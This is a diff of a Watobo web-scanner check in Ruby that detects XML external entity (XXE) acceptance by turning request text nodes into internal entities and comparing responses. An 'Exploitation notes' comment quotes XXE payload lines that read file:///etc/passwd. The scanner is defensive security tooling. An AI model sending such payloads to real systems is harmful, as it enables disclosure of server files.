class Xml_xxe < Watobo::ActiveCheck
|
|
7
|
+
# This module checks if DTD is accepted
|
|
8
|
+
# The idea is to use regular parameters and convert them to entity
|
|
18
9
|
# if the result is the same, chances are good that XXE attacks will work
|
|
19
10
|
#
|
|
20
11
|
# Links:
|
|
21
12
|
# http://www.w3.org/TR/2004/REC-xml-20040204/#sec-external-ent
|
|
22
|
-
|
|
13
|
+
|
|
23
14
|
# Exploitation notes:
|
|
24
15
|
# https://www.christian-schneider.net/GenericXxeDetection.html
|
|
25
16
|
# <!ENTITY % three SYSTEM "file:///etc/passwd">
|
|
26
|
-
# <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
|
|
27
|
-
|
|
28
|
-
@info.update(
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
def initialize(project, prefs={})
|
|
49
|
-
super(project, prefs)
|
|
50
|
-
|
|
51
|
-
end
|
|
52
|
-
|
|
53
|
-
def generateChecks(chat)
|
|
54
|
-
begin
|
|
55
|
-
if (
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
base_request, base_response = doRequest(base)
|
|
17
|
+
# <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///%three;'>">
|
|
18
|
+
|
|
19
|
+
@info.update(
|
|
20
|
+
:check_name => 'XML-XXE', # name of check which briefly describes functionality, will be used for tree and progress views
|
|
21
|
+
:check_group => "XML",
|
|
22
|
+
:description => "XML eXternal Entity (XXE).", # description of checkfunction
|
|
23
|
+
:author => "Andreas Schmidt", # author of check
|
|
24
|
+
:version => "0.9" # check version
|
|
25
|
+
)
|
|
26
|
+
|
|
27
|
+
threat = "https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)"
|
|
28
|
+
|
|
29
|
+
measure = "Disable external entities."
|
|
30
|
+
|
|
31
|
+
@finding.update(
|
|
32
|
+
:threat => threat, # thread of vulnerability, e.g. loss of information
|
|
33
|
+
:class => "External Entities", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
|
|
34
|
+
:type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
|
|
35
|
+
:rating => VULN_RATING_CRITICAL,
|
|
36
|
+
:measure => measure
|
|
37
|
+
)
|
|
38
|
+
|
|
39
|
+
def initialize(project, prefs={})
|
|
40
|
+
super(project, prefs)
|
|
41
|
+
|
|
42
|
+
end
|
|
43
|
+
|
|
44
|
+
def generateChecks(chat)
|
|
45
|
+
begin
|
|
46
|
+
if (chat.request.content_type =~ /xml/) and chat.request.has_body?
|
|
47
|
+
# first we do a request with an
|
|
48
|
+
base = chat.copyRequest
|
|
49
|
+
base_request, base_response = doRequest(base)
|
|
60
50
|
return unless base_response.has_body?
|
|
61
|
-
puts " *create entity packets ..."
|
|
62
51
|
create_entity_packets(chat.request.body).each do |packet|
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
puts bang
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
puts bang
|
|
95
|
-
end
|
|
96
|
-
end
|
|
97
|
-
|
|
98
|
-
private
|
|
99
|
-
|
|
100
|
-
def create_entity_packets(xml_string)
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
end
|
|
121
|
-
|
|
122
|
-
def add_entity(xml, node_name, entity_name, value)
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
end
|
|
128
|
-
|
|
129
|
-
end
|
|
130
|
-
# --> eo namespace
|
|
131
|
-
end
|
|
132
|
-
end
|
|
133
|
-
end
|
|
52
|
+
checker = proc {
|
|
53
|
+
begin
|
|
54
|
+
test_request = nil
|
|
55
|
+
test_response = nil
|
|
56
|
+
test = chat.copyRequest
|
|
57
|
+
test.setData packet.to_s
|
|
58
|
+
test_request, test_response = doRequest(test)
|
|
59
|
+
#puts test_response.status
|
|
60
|
+
|
|
61
|
+
if test_response.has_body? and test_response.body == base_response.body
|
|
62
|
+
|
|
63
|
+
addFinding(test_request, test_response,
|
|
64
|
+
:test_item => "ENTITY",
|
|
65
|
+
:check_pattern => "ENTITY",
|
|
66
|
+
:chat => chat,
|
|
67
|
+
:title => "[#{chat.request.path}] - ENTITY",
|
|
68
|
+
:debug => true
|
|
69
|
+
)
|
|
70
|
+
end
|
|
71
|
+
rescue => bang
|
|
72
|
+
puts bang
|
|
73
|
+
puts bang.backtrace if $DEBUG
|
|
74
|
+
end
|
|
75
|
+
[test_request, test_response]
|
|
76
|
+
}
|
|
77
|
+
yield checker
|
|
78
|
+
|
|
79
|
+
end
|
|
80
|
+
end
|
|
81
|
+
rescue => bang
|
|
82
|
+
puts bang
|
|
83
|
+
puts bang.backtrace if $DEBUG
|
|
84
|
+
end
|
|
85
|
+
end
|
|
86
|
+
|
|
87
|
+
private
|
|
88
|
+
|
|
89
|
+
def create_entity_packets(xml_string)
|
|
90
|
+
xml_packets = []
|
|
91
|
+
|
|
92
|
+
xmlbase = Nokogiri::XML(xml_string)
|
|
93
|
+
xmlbase.traverse do |node|
|
|
94
|
+
if node.text?
|
|
95
|
+
#next if node.parent.namespace.nil?
|
|
96
|
+
unless node.text.strip.empty?
|
|
97
|
+
xml = Nokogiri::XML(xml_string)
|
|
98
|
+
xml.create_internal_subset("#{node.parent.name}", nil, nil)
|
|
99
|
+
node_name = ""
|
|
100
|
+
node_name << "#{node.parent.namespace.prefix}:" if node.parent.namespace.respond_to? :prefix
|
|
101
|
+
node_name << "#{node.parent.name}"
|
|
102
|
+
add_entity(xml, "#{node_name}", "#{node.parent.name}", "#{node.text}")
|
|
103
|
+
xml_packets << xml
|
|
104
|
+
|
|
105
|
+
end
|
|
106
|
+
end
|
|
107
|
+
end
|
|
108
|
+
xml_packets
|
|
109
|
+
end
|
|
110
|
+
|
|
111
|
+
def add_entity(xml, node_name, entity_name, value)
|
|
112
|
+
xml.create_entity(entity_name, Nokogiri::XML::EntityDecl::INTERNAL_GENERAL, nil, nil, value)
|
|
113
|
+
entity = Nokogiri::XML::EntityReference.new xml, entity_name
|
|
114
|
+
nodeset = xml.xpath("//#{node_name}")
|
|
115
|
+
nodeset.first.send(:native_content=, entity.to_s) unless nodeset.empty?
|
|
116
|
+
end
|
|
117
|
+
|
|
118
|
+
end
|
|
119
|
+
# --> eo namespace
|
|
120
|
+
end
|
|
121
|
+
end
|
|
122
|
+
end
|
|
134
123
|
end
|